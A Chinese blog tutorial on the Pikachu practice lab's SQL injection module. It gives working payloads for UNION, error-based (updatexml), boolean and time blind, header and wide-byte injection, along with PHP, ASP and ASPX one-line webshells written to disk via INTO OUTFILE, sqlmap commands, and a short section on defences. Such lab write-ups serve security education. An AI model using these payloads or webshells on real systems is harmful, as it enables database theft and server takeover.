• Pikahu-SQL注入模块(Sql inject)(实验实战篇)


    小伙伴们有没有发现截图很不清楚,用127.0.0.1打开就很清楚,用本机ip打开就很模糊,软件包环境应该是没错,后来换了一个浏览器发现就好了,原来是浏览器的问题!

    一,数字型注入:

    看到界面后我们发现只能输入id(1-6),我们来试试:

     

    测试注入时,我们需要思考提交的参数后台是如何操作的。我们提交了一个d,返回了用户名和邮箱。正常来说,我们的数据是放在数据库里的,当我们提交了这个id的,后台会带这个参数到数据库里查询。

    因为是用POST语句取得我们传递的参数值,传递给一个变量,再到数据库查询。所以我们猜测后台的查询语句大概是下面这样

     $id=$_POST[‘id‘]

    select 字段1,字段2 from 表名 where id=1$id 这里的id 就是提供的1-6

    我们抓包来看一下:

    这时只返回了一个值,现在我就是入侵者,我截获了这个数据包,但是我想要的是其它库中的数据,怎么办啊!

     我们只要让这个式子恒等,无论输入的是啥都可以返回正确的结果:我们将id的式样改为1 or 1=1 我们再试试。

     此时的这种情况就是明显的存在数字注入漏洞。

    二、字符型注入(GET)

    我们看到界面随意输入一些东西:输入不存在的用户时,会提示用户不存在。另外这是一个 GET 请求,我们传递的参数会出现都 URL 中

    因为这里输入的查询用户名是字符串,所以在查询语句中需要有单引号。猜想后台的SQL查询语句为

    $name=$_GET[‘username‘]
    select 字段1,字段2 from 表名 where username=‘$name‘

    我们需要构造闭合,闭合后台查询语句中的第一个单引号,然后注释掉第二个单引号,构造的payload如下

    username ‘or‘1‘=‘1‘#

    MySQL中有3种注释:

    ① #

    ② -- (最后面有个空格)

    ③ /**/,内联注释,这个可以在SQL语句中间使用。select * from /*sqli*/ users;

    我们看到全部用户信息都出来了,破坏者又得逞了!

    三、搜索型注入:

    还是先随便输入试一下效果:

     我们看到当我们搜索的字母存在于用户名中,则会返回对应的用户。我们构造恒等!

    选择语句:L%' or '1'='1'#

    四、XX型注入

    经过测试我们发现还是字符型注入,只不过是包裹的形式不一样罢了! 单括号单引号闭合    不多说

    g') or 1=1#

     

    、在这里我们再次回顾普及一下知识:

    insert/update/delete注入

    在这3种情况中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作

    基于函数报错注入(updatexml)

    常用的报错函数:updatexml()、extractvalue()、floor()

    基于函数报错的信息获取(select / insert / update / delete)

    技巧思路:

    • 在 MySQL 中使用一些指定的函数来制造报错,从报错信息中获取设定的信息
    • select / insert /update / delete 都可以使用报错来获取信息

    背景条件:

    • 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端

    三个常用函数

    • updatexml(): MySQL 对 XML 文档数据进行查询和修改的 XPATH 函数
    • extractvalue():MySQL 对 XML 文档数据进行查询的 XPATH 函数
    • floor():MySQL中用来取整的函数

    updatexml()

      updatexml()函数作用:改变(查找并替换)XML 文档中符合条件的节点的值

      语法:UPDATEXML (XML_document, XPath_string, new_value)

    • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

    • 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。不过这里用不到。

    • 第三个参数:new_value,String格式,替换查找到的符合条件的数据

    • Xpath语法:https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

    XPath 定位必须是有效的,否则会发生错误

    我们在 pikachu 平台上的字符型注入中实验,我们利用报错来获取信息。

    union联合注入:一个字,就是猜,然后去试验,我们相到了二分法。

    第一步:判断字段数:1')  order by 4#       (xxs模块为例)

    1')  order by 2#

     

    可以知道字段数是2

    第二步:使用联合查询语句得到数据库:pikachu

    1')  union select database(),2#

    第三步:查询数据库中的表

    1') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

    第四步:查询users表中的字段名:

    1') union select table_name,column_name from information_schema.columns where table_name='users'#

    第五步:联合查处得到用户名和密码

    1')  union select username,password from users#

    updatexml()报错型注入:(字符型注入模块为例)

    1' and updatexml(1,concat(0x7e, version()), 0)#

     看得到了我们 MySQL 的数据版本了。那我们把 version() 换成 database() 就能取得数据库的名称了。

    1' and updatexml(1, concat(0x7e, database()), 0)#

    查询表名 :1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

    但是此时会报错,返回的数据多于 1 行 ,只能显示一行。

    解决办法:我们可以修改(limit 0,1)的值,第0位置第一个数据

    1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

     

    上面返回了查询结果中的第一个表名,如果要查询第二个表名,我们可以把 limit 语句换成 limit 1,1

    limit 后的第一个数据是起始位置,第二个数字是取出的数据条数

    取出所有的表名,就去获取字段 

    1' and updatexml (1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

    以此类推,取出所有的列名。我们就能去取数据了

    1' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)##

    然后根据得到的用户名,去查询password,发现加过密,不要紧百度查找md5编码器都可以翻译

    1' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

     

     extractvalue()与updatexml()是亲兄弟,用法一致。

    六、insert/update注入

    既然不可以用联合查询,那么就用报错注入吧!
    1' or updatexml(1,concat(0x7e,database()),0) or '  爆数据库:
    insert下报错:
    进入注册页面填写注册信息:输入查询语句,就出来了,不再多说。
     

     update报错注入也是:

                  

    七、delete注 看这个界面,我们先进行留言,到底哪里是突破点呐,我们可以对删除过程进行抓包!

     

    还是报错型语句:

    id=1 or updatexml(1,concat(0x7e,database()),0)

    因为是在url中,所以需要进行url的编码:

     我们看成功了!

    八、Http Header注入:

    HTTP Header 详解
    HTTP(HyperTextTransferProtocol) 即超文本传输协议,目前网页传输的的通用协议。HTTP协议采用了请求/响应模 型,浏览器或其他客户端发出请求,服务器给与响应。就整个网络资源传输而言,包括message-header和message-body两部分。首先传 递message-header,即http header消息 。http header 消息通常被分为4个部分:general  header, request header, response header, entity header。但是这种分法就理解而言,感觉界限不太明确。根据维基百科对http header内容的组织形式,大体分为Request和Response两部分

    首先我们先登录进去看看,登录进去发现头部可能存在注入,我们来进行抓包:

    注意:我们看到user-agent或者cookie都可以进行注入

    将admin' and updatexml(1,concat(0x7e,database()),0)#粘贴到cookie:ant[uname]= 后面,发现注入成功

    将1' or updatexml(1,concat(0x7e,database()),0) or'粘到User-Agent出,如图,点击go,发现也可以。

    九、sql盲注(base on boolian)

    盲注,我们进行注入时,一般只会返回显示错误还是正确的信息,所以工作量很大,需要耐心试。

    当然我们这时候就可以运用二分法来缩减工程量:1' and ascii(substr(database(),1,1))=112# 回显为真,猜出database的第一个单词是p

    1' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )>112#回显错误。。。

    十:sql盲注(base on time)

    基于时间的盲注,当数据正确会有返回延迟,错误就没有了。

    1' and if((substr(database(),1,1))='p',sleep(5),null )#用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟再返回

    十一、宽字节注入

    当我们输入有单引号时被转义为’,无法构造 SQL 语句的时候,可以尝试宽字节注入。GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload当我们用通常的测试 payload时,是无法执行成功的,下面的payload会报错:

    kobe‘ or 1=1#
    技术图片

    因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功饶过。

    十二,其它办法进行SQl注入:

    除了上面的方法之外,还有其他的办法,比如暴力破解 一句话木马 sqlmap工具等。

    @1、暴力破解SQL数据库举例:         

    之前我们都是通过information_schema数据库来获取信息,很多时候information_schema会被屏蔽掉,也可能遇到的不是MYSQL数据库。

    暴力破解表名和列名称:

    1' and exists(select * from gg)#

    我们去抓包,发送到Intruder模块里面去,选中破解变量gg,攻击模式Sniper,

     

    Payloads模块,设置破解字典

     Options模块

    Start attack(攻击)

    1' and exists(select id from users)#  做法是一样的,破解变量是id。

    @2,一句话木马之sql

    1、什么是一句话木马:一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。

    2、使用方法:首先,找到数据库是asp格式的网站,然后,以留言板,或者发表文章的方式,把一句话添加到asp数据库,或者加进asp网页.

    记住!我们的目的是把一句话<%execute request("value")%>添加到数据库,无论任何方式!
    然后打开客户端(就是你电脑上面的那个htm文件),填上加入了一句话的asp文件,或者是asp网页,然后进入此网站服务器
    3、写法:
    常用一句话木马
    asp一句话木马:
       <%execute(request("value"))%>
      php一句话木马:
       <?php @eval($_POST[value]);?>
      aspx一句话木马:
      <%@ Page Language="Jscript"%>
      <%eval(Request.Item["value"])%>

    以字符型(get)做为测试目标,需要先将数据库开启 secure_file_priv配置

    写入木马,通过菜刀,拿到shell:

    1' union select "<?php @eval($_POST['test'])?>",2 into outfile "C:\phpStudy\WWW\pikachu-master\2.php"#

    1' union select "<?php @eval($_GET['lyk'])?>",2 into outfile "C:\PhpStudy\WWW\pikachu-master\1.php"#

    通过get型,可以在url中写入语句

    1' union select "<?php system($_GET['lyk'])?>",2 into outfile "C:\PhpStudy\WWW\pikachu-master\2.php"#

    可以在url中执行cmd命令

    sqlmap工具使用入门及案例介绍 :参考链接:

    "https://www.jianshu.com/p/ea1d8170e118"

    sqlmap:sqlmap是由Python编写的渗透测试工具,主要用来检测sql注入漏洞,是一款功能强大的sql漏洞检测利用工具。

    操作步骤:

    开始我们的实验,发现它是一个get请求,

    第一步:找到对应的输入点,在输入框中输入字符得到url:

    把这个url复制下来http://192.168.24.140/pikachu-master/vul/sqli/sqli_blind_t.php?name=222&submit=%E6%9F%A5%E8%AF%A2

    第二步:判断是否存在漏洞:

    sqlmap.py -u "http://192.168.24.140/pikachu-master/vul/sqli/sqli_blind_t.php?name=222&submit=%E6%9F%A5%E8%AF%A2"

    发现name是存在SQL注入的:

     

    第三步:得到数据库:sqlmap.py -u "http://192.168.24.140/pikachu-master/vul/sqli/sqli_blind_b.php?name=222&submit=%E6%9F%A5%E8%AF%A2" --current-db

    第四步:得到表名:

    sqlmap.py -u "http://192.168.24.140/pikachu-master/vul/sqli/sqli_blind_b.php?name=222&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables

    第五步:得到字段名:  

    sqlmap.py -u "http://192.168.24.140/pikachu-master/vul/sqli/sqli_blind_b.php?name=222&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns

    第六步:拿到数据

     实际上这个使用它已经找到里面的数据啦,但发现里面是加过密的,

    第七步:用自带的字典对数据破解:

    得到用户名和密码,sqlmap非常方便而且强大。

    SQL漏洞常见的防范措施 :         

    一般来说我们有两个维度,一个是代码层面,一个是网络层面

    ●代码层面

    1、对输入进行严格的转义和过滤

    2、使用预处理和参数化(Parameterized)

    而1的比不是很好,因为SQL一更新出来新的特殊字符,会失效,

    推荐的做法是2:使用PDO的prepare预处理,它是以索引数组得方式传进去,而不是拼接,就成功防止啦注入

    ●网络层面

    1、通过WAF设备启用防SQL-Inject注入策略(或类似防护系统)

    2、云端防护(360网站卫士,阿里云盾等)

  • 相关阅读:
    scrapy+pymongo爬取小说实战
    Scrapy的正确安装
    linux: 用户管理,文件传送
    Java日期时间处理总结
    Numpy快速入门
    python 文件与文件夹操作
    python文件基础
    26. 删除排序数组中的重复项
    1两数之和
    152乘积最大子数组
  • 原文地址:https://www.cnblogs.com/li2019/p/12634879.html
Copyright © 2020-2023  润新知